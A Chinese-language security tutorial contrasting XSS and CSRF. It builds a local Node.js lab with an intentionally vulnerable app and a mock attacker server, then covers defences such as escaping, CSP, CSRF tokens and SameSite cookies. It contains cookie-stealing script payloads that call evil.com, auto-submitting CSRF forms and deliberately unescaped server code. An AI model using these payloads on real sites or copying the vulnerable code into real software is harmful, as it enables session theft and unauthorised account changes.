1. 项目概述:从“偷”与“骗”的视角理解两大经典Web漏洞
干了这么多年安全,我越来越觉得,理解Web攻击,有时候就像理解两种古老的犯罪手法:偷窃和诈骗。XSS(跨站脚本攻击)和CSRF(跨站请求伪造)就是Web安全领域里最经典的“偷”与“骗”。新手朋友常常会把它们搞混,觉得都是“跨站”,都挺危险,但它们的核心逻辑、攻击目标和防御思路,其实天差地别。今天,我就用一个老鸟的视角,结合最接地气的例子,把这两者的区别掰开揉碎了讲清楚,并且给出从原理到防御的完整“攻防实录”。无论你是刚入行的安全工程师、正在学习Web开发的同学,还是对自身网站安全有顾虑的运维,这篇文章都能让你彻底弄明白,下次再遇到相关漏洞,心里绝对门儿清。
简单来说,XSS的本质是“偷”,目标是用户的浏览器和其中的数据。攻击者想方设法在你的网页里“植入”恶意脚本,当其他用户浏览这个被“污染”的页面时,脚本就在他们的浏览器里偷偷执行,窃取Cookie、会话令牌,甚至操控页面内容。而CSRF的本质是“骗”,目标是服务器端的业务逻辑。攻击者伪造一个看起来合法的请求,“欺骗”用户的浏览器在用户不知情的情况下,向目标网站发起一个操作(比如转账、改密码)。服务器看到这个请求来自一个已登录的、有权限的用户,就乖乖执行了。一个盯着用户端的数据,一个盯着服务器端的操作,这就是根本区别。
2. 核心攻击原理深度拆解:逻辑与目标的根本分野
要打好防御战,必须先深入理解攻击是如何发生的。我们分别把XSS和CSRF的攻击链条彻底捋一遍。
2.1 XSS攻击:恶意脚本的“投毒”与“窃取”
XSS攻击的核心在于,攻击者能够将恶意脚本代码“注入”到目标网站中,并使其在受害用户的浏览器环境中执行。这个过程可以类比为:攻击者在一家餐馆(目标网站)的公共调料瓶(网页内容)里下了毒(恶意脚本),任何不知情的顾客(用户)使用了这个调料,就会中毒(脚本执行)。
根据脚本注入和执行的持久性位置,XSS主要分为三类:
1. 反射型XSS(非持久型)这是最常见也最“经典”的一种。攻击脚本通常“藏”在URL的参数里。整个过程是这样的:
- 构造陷阱:攻击者发现一个搜索页面,搜索关键词会直接显示在结果页面上,比如
https://vulnerable-site.com/search?q=用户输入。他构造一个特殊的URL:https://vulnerable-site.com/search?q=<script>alert('XSS')</script>。 - 诱骗点击:攻击者通过邮件、论坛、即时消息等方式,将这个“加料”的URL发送给受害者。
- 触发执行:受害者点击链接,浏览器向网站发起请求。网站服务器收到
q参数的值(即那段脚本),未加处理就直接拼接到HTML页面中返回。受害者的浏览器接收到这个页面,看到<script>标签,便老老实实地执行了其中的alert('XSS')代码。
注意:反射型XSS的脚本本身并不存储在服务器上,它像一次性的“飞镖”,只有用户点击了那个特定链接才会触发。它的危害范围相对可控,但结合社工手段(如伪装成客服链接)依然非常危险。
2. 存储型XSS(持久型)这是危害最大的一种。攻击脚本被永久地“存储”在目标网站的服务器上,例如数据库、评论、用户昵称、文章内容等。所有后续访问相关页面的用户都会“中招”。
- 投毒入库:攻击者在网站论坛的评论框里,输入一段恶意脚本
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>并提交。 - 服务器存储:网站后端未对评论内容进行过滤,直接将这段包含脚本的评论存入数据库。
- 广泛传播:此后,任何用户浏览这个论坛帖子时,网站都会从数据库取出这条评论并显示在页面上。每个用户的浏览器都会执行这段脚本,将他们的登录Cookie悄无声息地发送到攻击者的服务器(
evil.com)。
实操心得:存储型XSS是安全人员的“心头大患”。一旦发生,意味着网站有一个持续污染所有访问用户的源头。排查时,要重点关注所有用户可控且能持久化展示的数据入口,如用户资料、站内信、商品评价、文章系统等。
3. DOM型XSS这种XSS比较特殊,它的恶意代码执行完全发生在客户端的DOM(文档对象模型)解析过程中,服务器的响应可能本身是“干净”的。问题出在页面本身的JavaScript逻辑不严谨。
- 漏洞代码示例:
// 假设页面有一段JS,从URL的hash部分获取内容并写入DOM var userInput = window.location.hash.substring(1); document.getElementById("message").innerHTML = userInput; - 攻击方式:攻击者构造URL:
https://vulnerable-site.com/page#<img src=x onerror=alert('XSS')>。用户访问时,页面JS将#后面的内容(即<img ...>)直接通过innerHTML插入到id为message的元素中。浏览器解析这个新插入的HTML时,遇到<img>标签的onerror事件,便会执行其中的JavaScript。
DOM型XSS的检测和防御需要对前端代码进行白盒审计,因为攻击载荷可能不经过服务器。
2.2 CSRF攻击:合法身份的“冒用”与“欺诈”
CSRF攻击的逻辑完全不同。它不关心在页面里插入脚本,而是利用了一个关键前提:浏览器会自动携带当前站点的Cookie(包括会话Cookie)发起请求。攻击者要做的,就是让一个已登录目标网站的用户,去访问一个精心构造的页面,这个页面会悄悄向目标网站发起一个恶意请求。
我们用一个经典的“银行转账”场景来模拟:
- 用户状态:用户小明登录了
bank.com,他的浏览器保存了bank.com的会话Cookie。 - 正常流程:
bank.com的转账功能是一个POST请求,表单大概长这样:<form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="to" value="account_number"/> <input type="hidden" name="amount" value="1000"/> <input type="submit" value="转账"/> </form> - 攻击构造:攻击者小黑在自己的恶意网站
evil.com上,放置了如下代码:<img src="https://bank.com/transfer?to=hacker_account&amount=10000" width="0" height="0" /> <!-- 或者使用自动提交的表单 --> <body onload="document.forms[0].submit()"> <form action="https://bank.com/transfer" method="POST" style="display:none;"> <input type="hidden" name="to" value="hacker_account"/> <input type="hidden" name="amount" value="10000"/> </form> </body> - 攻击触发:小明在登录
bank.com的状态下(会话未过期),不小心访问了evil.com。他的浏览器会自动加载页面中的<img>标签,向bank.com发起一个GET转账请求;或者自动提交那个隐藏的表单,发起一个POST请求。关键点来了:浏览器发起这个请求时,会自觉地把bank.com的Cookie也一并带上。 - 服务器受骗:
bank.com的服务器收到这个请求,一看Cookie,是合法用户小明的,参数也齐全,于是便执行了转账操作。小黑成功骗走了小明的钱。
整个过程中,小明完全不知情,他只是在浏览另一个网站。CSRF攻击成功的关键在于请求的“不可预测性”缺失。服务器无法区分这个“转账”请求是来自小明主动点击的银行页面,还是来自evil.com的恶意页面。
3. 完整攻击示例与场景复现
光讲原理不够直观,我们搭建一个最简单的本地环境来复现这两种攻击。这里我用Node.js + Express快速搭建两个服务:一个脆弱的靶场网站(vuln-app.com:3000),一个攻击者控制的恶意网站(evil.com:4000)。为了模拟跨域,我们需要在本地hosts文件(C:\Windows\System32\drivers\etc\hosts或/etc/hosts)中添加两行:
127.0.0.1 vuln-app.com 127.0.0.1 evil.com3.1 靶场应用搭建(vuln-app.com:3000)
首先创建靶场项目目录,初始化并安装依赖:
mkdir vuln-app && cd vuln-app npm init -y npm install express cookie-parser body-parser创建server.js,这是一个存在XSS和CSRF漏洞的简单应用:
const express = require('express'); const cookieParser = require('cookie-parser'); const bodyParser = require('body-parser'); const app = express(); app.use(cookieParser()); app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json()); // 模拟用户数据库 let users = { 'alice': 'password123', 'bob': 'hello' }; let sessions = {}; // sessionId -> username let messages = []; // 存储用户留言(存在存储型XSS) // 1. 首页 - 存在反射型XSS漏洞 app.get('/', (req, res) => { let name = req.query.name || 'Guest'; // 漏洞点:未对用户输入进行任何转义,直接输出到HTML res.send(` <h1>Welcome, ${name}!</h1> <a href="/login">Login</a> | <a href="/message">Leave a Message</a> `); }); // 2. 登录页面和逻辑 app.get('/login', (req, res) => { res.send(` <form action="/login" method="POST"> Username: <input name="username"><br> Password: <input type="password" name="password"><br> <button>Login</button> </form> `); }); app.post('/login', (req, res) => { const { username, password } = req.body; if (users[username] && users[username] === password) { const sessionId = 'sess_' + Math.random().toString(36).substr(2); sessions[sessionId] = username; res.cookie('sessionId', sessionId, { httpOnly: true }); res.send(`Login success! <a href="/profile">Go to Profile</a>`); } else { res.send('Login failed'); } }); // 3. 用户资料页 - 展示登录状态和敏感信息(Cookie) app.get('/profile', (req, res) => { const sessionId = req.cookies.sessionId; const username = sessions[sessionId]; if (!username) { return res.redirect('/login'); } // 模拟显示敏感信息 res.send(` <h2>Welcome back, ${username}!</h2> <p>Your session ID is: ${sessionId}</p> <hr> <h3>Change Email (CSRF Vulnerable)</h3> <form action="/update-email" method="POST"> New Email: <input name="email" value="${username}@example.com"><br> <button>Update Email</button> </form> <hr> <a href="/messages">View Messages</a> `); }); // 4. 更新邮箱接口 - 存在CSRF漏洞 app.post('/update-email', (req, res) => { const sessionId = req.cookies.sessionId; const username = sessions[sessionId]; if (!username) { return res.status(401).send('Unauthorized'); } const newEmail = req.body.email; // 漏洞点:没有验证请求来源,仅凭Cookie就执行操作 console.log(`[CSRF Exploited] User ${username} email changed to: ${newEmail}`); res.send(`Email updated to ${newEmail} (This is a simulation)`); }); // 5. 留言板功能 - 存在存储型XSS漏洞 app.get('/message', (req, res) => { res.send(` <h2>Leave a Message</h2> <form action="/message" method="POST"> Your Name: <input name="author"><br> Message: <textarea name="content"></textarea><br> <button>Submit</button> </form> <hr> <a href="/messages">View All Messages</a> `); }); app.post('/message', (req, res) => { const { author, content } = req.body; // 漏洞点:未过滤,直接存储用户输入 messages.push({ author, content }); res.redirect('/messages'); }); app.get('/messages', (req, res) => { let msgList = messages.map(m => `<b>${m.author}</b>: ${m.content}`).join('<br>'); // 漏洞点:从数据库取出后,未转义直接输出 res.send(`<h2>All Messages</h2>${msgList}<br><a href="/message">Leave another</a>`); }); app.listen(3000, () => console.log('Vulnerable app running on vuln-app.com:3000'));运行node server.js,我们的漏洞靶场就启动了。
3.2 攻击者服务器搭建(evil.com:4000)
在另一个终端,创建攻击者服务器:
mkdir evil-server && cd evil-server npm init -y npm install express创建evil-server.js:
const express = require('express'); const app = express(); app.get('/', (req, res) => { res.send(` <h1>Welcome to Evil Site</h1> <p>This page contains malicious code to demo XSS and CSRF.</p> <h2>1. Reflected XSS Demo Link</h2> <p>Send this to a victim logged into vuln-app.com:</p> <a href="http://vuln-app.com:3000/?name=<script>alert('XSS from Evil Site!')</script>"> Click me for a "surprise" (Reflected XSS) </a> <h2>2. CSRF Attack Demo (Auto-submit Form)</h2> <p>If a victim visits this page while logged into vuln-app.com, their email will be changed silently.</p> <script> // 自动提交CSRF表单 window.onload = function() { document.getElementById('csrf-form').submit(); }; </script> <form id="csrf-form" action="http://vuln-app.com:3000/update-email" method="POST" style="display:none;"> <input type="hidden" name="email" value="hacked@evil.com"/> </form> <p>Form submitted in background. Check the vuln-app server console.</p> `); }); // 一个用于接收XSS窃取数据的端点 app.get('/steal', (req, res) => { const data = req.query.data; console.log(`[XSS Data Stolen]: ${data}`); res.send('OK'); }); app.listen(4000, () => console.log('Evil server running on evil.com:4000'));运行node evil-server.js,攻击服务器就绪。
3.3 攻击演示与过程分析
现在,打开浏览器,我们开始攻击演示。
场景一:反射型XSS攻击
- 访问
http://vuln-app.com:3000/login,用alice / password123登录。 - 登录成功后,你处于已认证状态(浏览器有Cookie)。
- 现在,模拟你收到了攻击者发来的钓鱼链接。直接在地址栏输入(或点击evil.com页面上的链接):
http://vuln-app.com:3000/?name=<script>alert('XSS from Evil Site!')</script> - 页面加载后,你会看到一个弹窗。这说明恶意脚本在你的浏览器上下文(
vuln-app.com)中成功执行了。这只是一个演示弹窗,真实的攻击可能是<script>fetch('http://evil.com:4000/steal?data='+document.cookie)</script>,你的Cookie就被偷走了。
场景二:存储型XSS攻击
- 确保你已登录
vuln-app.com:3000。 - 访问
http://vuln-app.com:3000/message。 - 在留言板提交以下内容:
- Author:
BadGuy - Message:
<script>alert('Stored XSS!')</script>
- Author:
- 提交后,访问
http://vuln-app.com:3000/messages。你会发现页面一加载就弹窗了。所有访问这个留言板页面的用户都会中招。更危险的载荷可能是窃取Cookie的脚本。
场景三:CSRF攻击
- 首先,确保你在
vuln-app.com:3000是登录状态(检查/profile页面能正常访问)。 - 不要退出,新开一个浏览器标签页,访问
http://evil.com:4000。 - 观察
evil.com页面,你会看到一行提示“Form submitted in background.”。同时,查看运行vuln-app的终端窗口,你应该能看到一行日志输出:[CSRF Exploited] User alice email changed to: hacked@evil.com。 - 回到
vuln-app.com:3000/profile页面刷新,你会发现邮箱显示已被修改(虽然我们应用没存,但模拟了操作)。整个过程中,你没有在vuln-app.com进行任何操作,仅仅因为访问了恶意网站,一个关键操作(修改邮箱)就被悄无声息地执行了。
通过这个完整的本地复现,你应该能非常直观地感受到XSS和CSRF的攻击流程和危害。XSS是“污染你的地盘(网站),害你的客人(用户)”,CSRF是“冒充你的客人(用户),在你的地盘(网站)搞破坏”。
4. 防御策略全景与实战部署
理解了攻击,防御就有了清晰的靶子。防御的核心思路就是打破攻击链条中的关键环节。
4.1 XSS防御:永不信任用户输入
防御XSS的黄金法则是:对所有不可信的数据进行输出编码/转义。具体来说,数据在哪使用,就用对应的编码方式。
1. 对HTML内容进行转义这是最基础也是最重要的防御。当用户输入的内容需要作为HTML文本输出时(比如在<div>,<p>,<td>等标签内部),必须将具有特殊意义的字符转义为HTML实体。
- 关键字符:
&,<,>,",',/ - 转义后:
&,<,>,",',/ - 实战工具:
- 后端模板引擎:现代框架如React, Vue, Angular及服务端模板(EJS, Pug, Jinja2等)默认都会对插值进行HTML转义。但务必警惕“禁用转义”的选项,如Vue的
v-html,React的dangerouslySetInnerHTML,除非你百分百确定内容安全。 - 纯后端输出:使用成熟的库,如Node.js的
escape-html,Python的html.escape(),Java的StringEscapeUtils.escapeHtml4()。
- 后端模板引擎:现代框架如React, Vue, Angular及服务端模板(EJS, Pug, Jinja2等)默认都会对插值进行HTML转义。但务必警惕“禁用转义”的选项,如Vue的
2. 对HTML属性进行转义当用户输入需要放在HTML属性值里(如href,src,title,onclick),除了转义HTML字符,还要注意属性值必须用引号包裹。
- 错误示例:
<a href=+ userInput +>link</a>。如果userInput是javascript:alert(1)或" onmouseover="alert(1),就会出问题。 - 正确做法:始终用双引号包裹属性值,并对值内的双引号进行转义。对于
href、src等URL属性,还需要进行URL验证和白名单过滤,防止javascript:伪协议。
3. 对JavaScript数据进行转义当需要将用户输入插入到<script>标签或事件处理器(如onclick,onload)时,情况更复杂。最佳实践是:永远不要将不可信数据直接插入到JavaScript代码上下文中。
- 正确做法:使用
JSON.stringify()将数据序列化后输出。例如,在后端生成:var userData = <%- JSON.stringify(userInput) %>;。这样,即使用户输入包含引号或换行符,也会被安全地编码为JSON字符串。
4. 内容安全策略(CSP)CSP是一个强大的深度防御措施。它通过HTTP头Content-Security-Policy告诉浏览器,哪些外部资源(脚本、样式、图片、字体等)可以被加载和执行。
- 核心作用:即使攻击者成功注入了脚本标签,如果该脚本的来源不在白名单内,浏览器也会拒绝执行。
- 实战配置示例(一个严格的策略):
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src *;default-src 'self': 默认只允许加载同源资源。script-src 'self' https://trusted.cdn.com: 脚本只允许来自本站和指定的可信CDN。style-src 'self' 'unsafe-inline': 允许同源样式和内联样式(很多UI库需要)。img-src *: 允许从任何地方加载图片。
- 部署建议:可以从一个较宽松的策略开始(如
default-src *),利用浏览器的CSP报告功能(Content-Security-Policy-Report-Only)收集违规报告,逐步收紧策略。
5. 输入验证与过滤在接收数据时进行严格的格式验证(如邮箱格式、电话号码格式),可以在源头减少恶意载荷。但绝不能依赖输入验证作为唯一的XSS防御手段,因为攻击载荷的变形方式太多。输入验证是“锦上添花”,输出编码是“雪中送炭”。
实操心得:在代码审查时,我养成一个习惯:每当看到后端变量被直接拼接到HTML、JS或属性中,就像看到没上锁的保险箱一样紧张。立刻问:这里转义了吗?上下文对吗?对于富文本编辑器(如用户发表文章),过滤HTML标签是另一个复杂话题,推荐使用像
DOMPurify这样的专业库进行基于白名单的净化,而不是简单的黑名单过滤。
4.2 CSRF防御:验证请求的“意图”
防御CSRF的核心思想是:让服务器有能力区分“用户自愿发起的请求”和“攻击者伪造的请求”。关键在于在请求中加入一个攻击者无法预测、无法伪造的凭证。
1. CSRF Tokens(同步令牌模式)这是最主流、最有效的防御方案。原理是为每个用户会话生成一个随机、不可预测的令牌(Token),在渲染表单时将其作为隐藏字段插入,在提交表单时要求携带该令牌,服务器端进行验证。
- 实现步骤:
- 生成令牌:用户会话建立时,在服务器端(Session中)生成一个强随机数作为CSRF Token。
- 下发令牌:在需要保护的表单页面(或任何可能改变状态的GET请求链接)中,将该Token作为隐藏字段(
<input type="hidden" name="_csrf" value="token-value">)或Meta标签嵌入。 - 提交验证:用户提交表单时,Token随请求体一起提交。服务器收到请求后,比对请求中的Token和Session中存储的Token是否一致。
- 令牌更新:通常每个会话使用一个固定Token,或每个表单使用一次性Token(更安全但实现复杂)。
- 为什么有效:攻击者无法提前知道或获取到受害用户当前会话的有效Token,因此无法构造出包含正确Token的恶意请求。
- 实战代码(改进我们的靶场): 在
/profile路由生成和下发Token:
在const crypto = require('crypto'); // 生成Token函数 function generateCSRFToken(sessionId) { // 实际应用中,Token应与用户会话强关联并安全存储 return crypto.randomBytes(32).toString('hex'); } // 在/profile路由中 app.get('/profile', (req, res) => { // ... 验证登录 ... const csrfToken = generateCSRFToken(sessionId); // 将Token存入session(或内存存储) req.session.csrfToken = csrfToken; // 假设使用了session中间件 // 在表单中嵌入Token res.send(` <h3>Change Email (CSRF Protected)</h3> <form action="/update-email" method="POST"> <input type="hidden" name="_csrf" value="${csrfToken}"> New Email: <input name="email"><br> <button>Update Email</button> </form> `); });/update-email路由验证Token:app.post('/update-email', (req, res) => { // ... 验证登录 ... const clientToken = req.body._csrf; const serverToken = req.session.csrfToken; // 从session取出 if (!clientToken || clientToken !== serverToken) { return res.status(403).send('CSRF Token Validation Failed!'); } // 验证通过,执行操作... // 操作完成后,可以刷新Token req.session.csrfToken = generateCSRFToken(sessionId); });
2. SameSite Cookie属性这是一个由浏览器提供的、从源头遏制CSRF的简单而强大的特性。通过设置Cookie的SameSite属性,可以控制Cookie在跨站请求时是否被发送。
SameSite=Strict:最严格。Cookie仅在同站请求(即当前网页的URL与请求目标URL的eTLD+1相同)时发送。这意味着用户从谷歌搜索结果点击进入你的网站,初始请求也不会携带登录Cookie,可能导致体验下降。SameSite=Lax(默认值):平衡安全与体验。允许在顶级导航(如点击链接)的GET请求中发送Cookie,但禁止在跨站的POST请求或通过<img>,<script>等标签发起的请求中发送。这能防御大多数CSRF攻击(因为CSRF通常由POST或自动GET触发),同时不影响用户体验。SameSite=None:Cookie在所有上下文中发送,但必须同时设置Secure属性(仅限HTTPS)。- 实战设置:在你的登录接口设置Cookie时:
res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, // 仅HTTPS sameSite: 'lax' // 或 'strict' });注意:
SameSite是深度防御的优秀补充,但不能完全替代CSRF Token。因为1) 旧浏览器不支持;2)Lax模式对某些类型的攻击(如同站但不同子域的攻击)防护有限。
3. 验证请求来源(Origin/Referer Header)检查HTTP请求头中的Origin或Referer字段,可以判断请求来自哪个站点。
Origin:对于POST请求和跨域请求,浏览器会发送此头部,标明请求的发源站点。它不会包含路径信息,隐私性稍好。Referer:包含了完整的来源URL。但用户可能禁用此头部,且在某些场景(如从HTTPS跳到HTTP)下浏览器可能不发送。- 实现:服务器端检查这些头部,确保其值符合预期(例如,来自你自己的域名)。但这只能作为辅助手段,因为头部可能被篡改(尽管浏览器禁止JS修改这些头,但某些网络代理或恶意客户端可能伪造)。
4. 双重提交Cookie(Double Submit Cookie)这是一种无需服务器存储状态的方案。服务器生成一个随机Token,既设置为Cookie,也要求客户端在请求中携带(如表单字段)。服务器只需比对两者是否一致。因为攻击者无法读取或设置目标站点的Cookie(受同源策略保护),所以他无法让受害者的请求携带一个他知道的Token值。这种方法适合无状态服务架构,但需注意Token需足够随机且绑定会话。
避坑技巧:在实际项目中,我强烈推荐CSRF Token + SameSite Cookie的组合拳。对于Web框架(如Spring Security, Django, Express csurf中间件),通常内置了CSRF防护,直接启用即可,不要自己重复造轮子,容易引入逻辑漏洞。同时,务必对所有会改变服务器状态的操作(POST, PUT, DELETE, PATCH)启用防护,而不仅仅是“重要”操作,因为攻击可能从修改用户偏好设置开始,逐步升级。
5. 高级话题与疑难排查
掌握了基础攻防后,我们再看一些进阶场景和常见问题。
5.1 当XSS遇上CSRF:组合拳攻击
有时,攻击者会组合利用漏洞。一个典型的场景是:利用存储型XSS来绕过CSRF防护。
- 假设一个网站有存储型XSS漏洞,但实施了CSRF Token防护。
- 攻击者通过XSS注入一段恶意脚本。这段脚本运行在受害网站的上下文中,因此它可以读取页面上的任何内容,包括那个隐藏的CSRF Token字段。
- 脚本读取到有效的Token后,再用这个Token构造一个合法的请求,发起CSRF攻击。
这种组合攻击威力巨大,因为它用XSS的“偷”能力,解决了CSRF攻击中“无法伪造Token”的难题。防御的关键在于彻底杜绝XSS。同时,可以考虑为敏感操作(如转账、改密)增加二次验证(如短信验证码、密码确认),建立纵深防御。
5.2 单页应用(SPA)与API的防护挑战
现代前后端分离架构(SPA + RESTful API)给传统防护带来了新问题:
- CSRF Token如何传递?传统方式是在HTML表单中嵌入Token。对于SPA,Token可以通过首次页面加载的一个API端点获取,存储在内存(如Vuex/Redux)或Cookie中,然后在后续所有非幂等的API请求头(如
X-CSRF-Token)中携带。 - Cookie与Token的存储:确保CSRF Token不通过Cookie发送(以免与认证Cookie混淆),通常放在自定义HTTP头中。同时,认证Token(如JWT)建议存放在
HttpOnly的Cookie中以防止XSS窃取,或放在内存中但需严格防范XSS。 - CORS配置:正确配置CORS(跨源资源共享)策略,仅允许信任的源,不要使用
Access-Control-Allow-Origin: *。这对于防御某些类型的CSRF和信息泄露有帮助。
5.3 常见问题排查清单
在实际开发和渗透测试中,以下清单可以帮助你快速定位问题:
| 问题现象 | 可能原因 | 排查方向 |
|---|---|---|
| 反射型XSSPayload不执行 | 1. 输入被前端JS过滤或编码。 2. 输出点不在HTML上下文(如在JS字符串或属性中)。 3. 有CSP限制。 | 1. 查看页面源码,确认Payload是否被原样输出。 2. 尝试不同的Payload变体(大小写、编码、事件处理器)。 3. 检查浏览器控制台的CSP报错。 |
| 存储型XSS提交后消失 | 1. 后端有输入过滤或净化。 2. 数据库字段长度限制截断。 3. 输出时被框架自动转义。 | 1. 测试简单Payload如<b>test</b>看是否生效。2. 查看数据库存储的原始数据。 3. 检查输出点的前端渲染方式。 |
| CSRF攻击测试失败 | 1. 目标操作需要CSRF Token。 2. 请求方法受限(如只接受POST)。 3. 有额外的自定义Header验证。 4. Cookie设置了 SameSite=Strict/Lax。 | 1. 抓取正常请求包,分析参数和Header。 2. 尝试将攻击请求方法改为与正常一致。 3. 检查Cookie属性。 |
| 已部署CSRF Token但仍被绕过 | 1. Token生成或验证逻辑有误(如未绑定会话)。 2. Token在多个会话间复用或可预测。 3. 网站存在XSS漏洞,导致Token被窃。 | 1. 验证不同用户、不同时间的Token是否不同且随机。 2. 检查Token是否在登录后更新。 3. 全面审计XSS漏洞。 |
| CSP策略导致功能异常 | 1. 内联脚本或样式被阻止。 2. 引用的第三方资源(字体、统计代码)被阻止。 3. eval()或new Function()被禁用。 | 1. 使用Content-Security-Policy-Report-Only模式观察报告。2. 将必要的源加入白名单。 3. 重构代码,避免使用不安全的动态代码执行。 |
5.4 自动化工具与持续监控
对于大型项目,人工审计难免疏漏,需要借助工具:
- 静态应用安全测试(SAST):在代码层面扫描漏洞模式。如SonarQube、Checkmarx、Fortify。可以集成到CI/CD流程中。
- 动态应用安全测试(DAST):对运行中的应用进行黑盒测试。如OWASP ZAP、Burp Suite Professional、Acunetix。能发现运行时才能触发的漏洞。
- 依赖项扫描:使用
npm audit、snyk、dependabot等工具检查第三方库的已知漏洞。 - 漏洞赏金与渗透测试:邀请外部安全研究员或专业团队进行测试,获取外部视角。
防御XSS和CSRF不是一劳永逸的事情,它需要将安全思维融入到开发流程的每一个环节:需求设计时考虑安全边界,编码时遵循安全规范,测试时进行专项安全检查,上线后持续监控和响应。每次看到innerHTML,心里都要咯噔一下;每次设计一个状态变更的API,都要下意识地问一句:“这个接口防CSRF了吗?”这种条件反射式的安全意识,才是构筑稳固防线最坚实的基石。